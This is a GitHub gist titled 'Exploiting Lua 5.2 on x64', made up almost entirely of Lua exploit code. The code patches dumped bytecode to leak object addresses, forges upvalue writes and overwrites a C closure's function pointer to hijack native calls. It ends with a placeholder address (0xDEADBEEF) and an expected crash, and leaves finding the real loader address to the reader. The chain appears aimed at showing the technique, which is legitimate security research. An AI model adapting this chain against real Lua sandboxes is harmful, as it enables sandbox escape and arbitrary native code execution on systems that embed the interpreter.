Skip to content

Instantly share code, notes, and snippets.

@corsix
Last active March 30, 2023 20:13
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save corsix/49d770c7085e4b75f32939c6c076aad6 to your computer and use it in GitHub Desktop.
Save corsix/49d770c7085e4b75f32939c6c076aad6 to your computer and use it in GitHub Desktop.
Exploiting Lua 5.2 on x64
-- double as_num(GCobj* x) { return reinterpret_cast<double>(x); }
local as_num = string.dump(function(...) for n = ..., ..., 0 do return n end end)
as_num = as_num:gsub("\x21", "\x17", 1) -- OP_FORPREP -> OP_JMP
as_num = assert(load(as_num))
-- uint64_t addr_of(GCobj* x) { return reinterpret_cast<uint64_t>(x); }
local function addr_of(x) return as_num(x) * 2^1000 * 2^74 end
-- std::string ub8(uint64_t n) { return std::string(reinterpret_cast<char*>(&n), 8); }
local function ub8(n)
local t = {}
for i = 1, 8 do
local b = n % 256
t[i] = string.char(b)
n = (n - b) / 256
end
return table.concat(t)
end
-- void upval_assign(double func, TValue x) { reinterpret_cast<LClosure*>(func)->upvals[0]->v[0] = x; }
local upval_assign = string.dump(function(...)
local magic
(function(func, x)
(function(func)
magic = func
end)(func)
magic = x
end)(...)
end)
upval_assign = upval_assign:gsub("(magic\x00\x01\x00\x00\x00\x01)\x00", "%1\x01", 1)
upval_assign = assert(load(upval_assign))
-- CClosure* make_CClosure(lua_CFunction f, TValue up) { CClosure* co = eval("coroutine.wrap(function()end)"); co->f = f; co->upvalue[0] = up; return co; }
local function make_CClosure(f, up)
local co = coroutine.wrap(function()end)
local offsetof_CClosure_f = 24
local offsetof_CClosure_upvalue0 = 32
local sizeof_TString = 24
local offsetof_UpVal_v = 16
local offsetof_Proto_k = 16
local offsetof_LClosure_proto = 24
local upval1 = ub8(addr_of(co) + offsetof_CClosure_f)
local func1 = ub8(addr_of("\x00\x00\x00\x00\x00\x00\x00\x00") - offsetof_Proto_k) .. ub8(addr_of(upval1) + sizeof_TString - offsetof_UpVal_v)
local upval2 = ub8(addr_of(co) + offsetof_CClosure_upvalue0)
local func2 = func1:sub(1, 8) .. ub8(addr_of(upval2) + sizeof_TString - offsetof_UpVal_v)
upval_assign((addr_of(func1) + sizeof_TString - offsetof_LClosure_proto) * 2^-1000 * 2^-74, f * 2^-1000 * 2^-74)
upval_assign((addr_of(func2) + sizeof_TString - offsetof_LClosure_proto) * 2^-1000 * 2^-74, up)
return co
end
local ll_loadlib = make_CClosure(0xDEADBEEF) -- Obtaining the address of ll_loadlib is left as an exercise to the reader.
ll_loadlib() -- Should crash at ldo.c's `n = (*f)(L); /* do the actual call */`, with f==0xDEADBEEF
@corsix
Copy link
Author

corsix commented Sep 14, 2016

I'm glad that someone can appreciate the tricks being played.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment